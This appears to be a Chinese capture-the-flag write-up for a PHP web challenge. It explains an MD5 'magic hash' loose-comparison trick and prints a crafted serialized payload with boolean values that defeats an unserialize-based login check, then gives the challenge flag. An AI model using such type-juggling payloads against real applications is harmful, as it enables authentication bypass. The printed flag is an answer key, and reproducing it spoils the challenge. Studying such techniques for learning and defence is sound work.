实验吧 天网管理系统
题目链接:http://ctf5.shiyanbar.com/10/web1/
- 查看源代码
要求输入的用户名的值md5之后等于0 百度下就能知道很多md5为0的值
MD5加密后==’0’ 总结 - 找到新链接
$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
{
print_r($flag);
}
伟大的科学家php方言道:成也布尔,败也布尔。 回去吧骚年
// 将上传的password反序列化反序列化中的user, pass等于某个值
- php序列化
PHP serialize() 函数函数用于序列化对象或数组,并返回一个字符串 函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。如果想要将已序列化的字符串变回 PHP 的值,可使用 unserialize()
<?php
class Students
{
public $name = "Jack";
public $sex = "male";
public $age = "18";
}
$c = new Students();
$c -> name = "Alice";
$c -> sex = "female";
$c -> age = "16";
echo serialize($c);
?>
- 反序列化漏洞
前面源代码中有提到布尔型变量 bool类型的true跟任意字符串可以弱类型相等
构造passworda:2:{s:4:"user";b:1;s:4:"pass";b:1;}
得到flag:ctf{dwduwkhduw5465}